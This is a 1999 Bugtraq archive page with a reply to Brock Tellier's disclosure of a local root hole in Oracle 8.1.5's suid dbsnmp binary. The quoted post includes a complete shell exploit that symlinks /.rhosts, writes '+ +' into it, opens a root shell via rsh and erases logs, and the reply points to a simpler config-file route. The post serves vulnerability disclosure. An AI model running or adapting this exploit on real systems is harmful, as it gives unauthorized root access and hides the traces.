Bugtraq mailing list archives
Re: Oracle 8 root exploit
From: jkstill () SHERLOCK BCBSO COM (Jared Still)
Date: Tue, 16 Nov 1999 08:12:01 -0800
There is a much easier way to exploit dbsnmp than this. Simply edit the file $ORACLE_HOME/network/agent/config/nmiconf.tcl, which is executed when dbsnmp starts up. This was discovered months ago and reported on this list by Gilles Parc, gparc () mail dotcom fr Jared Still Certified Oracle DBA and Part Time Perl Evangelist ;-) Regence BlueCross BlueShield of Oregon jkstill () bcbso com - Work - preferred address jkstill () regence com - Work jkstill () teleport com - private On Sat, 13 Nov 1999, Tellier, Brock wrote:
Greetings, OVERVIEW A vulnerability exists in Oracle 8.1.5 for UN*X which may allow any user to obtain root privileges. BACKGROUND My testing was done with Oracle 8.1.5 on Solaris 2.6 SPARC edition. This shouldn't make any difference, however, and I would consider any UNIX Oracle implementation to be exploitable. DETAILS When run without ORACLE_HOME being set, dbsnmp (suid root/sgid dba by default) will dump two log files out into pwd, dbsnmpc and dbsnmpt . If these files do not exist, dbsnmpd will attempt to create them mode 666 and dump around 400 bytes of uncontrolable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus if root does not have an .rhosts file, we can obtain root privs by creating a symlink from /tmp/dbsnmpc to /.rhosts. One thing to note about the exploit is that on my particular implementation, a normal user does not have read access above /product/ in the Oracle path (something like /u01/app/oracle/product/8.1.5/bin/dbsnmp). This won't prevent you from running the exploit since the execute bit is set for world on all of Oracle's directories, but you may have to guess about the location of dbsnmp. This can usually done by examining the process list for Oracle entries. EDITORIAL One small rant about Oracle is their ridiculously complicated bug reporting scheme, which asks you 2814 questions and allows you ONE line of text to explain your problem. In this day and age, I don't understand why every major software vendor doesn't have something as simple as a mailto security () vendor com SOMEWHERE on their site. In fact, when I searched Oracle's web page, I got zero hits on the word "security". Perhaps this address does exist and a bugtraq reader would care to enlighten me. EXPLOIT oracle8% uname -a; id SunOS oracle8 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10 uid=102(btellier) gid=10(staff) oracle8% /tmp/oracle.sh couldn't read file "/config/nmiconf.tcl": no such file or directory Failed to initialize nl component,error=462 Failed to initialize nl component,error=462 # --- oracle.sh --- #!/bin/sh # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others # You'll probably have to change your path to dbsnmp # Exploit will only work if /.rhosts does NOT exist # # Brock Tellier btellier () usa net cd /tmp unset ORACLE_HOME umask 0000 ln -s /.rhosts /tmp/dbsnmpc.log /u01/app/oracle/product/8.1.5/bin/dbsnmp echo "+ +" > /.rhosts rsh -l root localhost 'sh -i' rsh -l root localhost rm /tmp/*log* rsh -l root localhost rm /.rhosts ------
Current thread:
- Oracle 8 root exploit Tellier, Brock (Nov 13)
- Re: Oracle 8 root exploit Adam and Christine Levin (Nov 15)
- Re: Oracle 8 root exploit Jared Still (Nov 16)
- <Possible follow-ups>
- Re: Oracle 8 root exploit Martin Mevald (Nov 15)
- Re: Oracle 8 root exploit Antonomasia (Nov 15)
- Re: Oracle 8 root exploit Elias Levy (Nov 16)
- Re: Oracle 8 root exploit Adam and Christine Levin (Nov 16)
- Re: Oracle 8 root exploit Chris Calabrese (Nov 16)
- Re: Oracle 8 root exploit Alan Olsen (Nov 19)
- [RHSA-1999:055-01] Denial of service attack in syslogd Bill Nottingham (Nov 19)
- [ COBALT ] Security Advisory - syslog Jeff Bilicki (Nov 20)
- IE 5.0 XML HTTP redirect problems Georgi Guninski (Nov 22)
- DoS with sysklogd, glibc (Caldera) Alfred Huger (Nov 22)
(Thread continues...)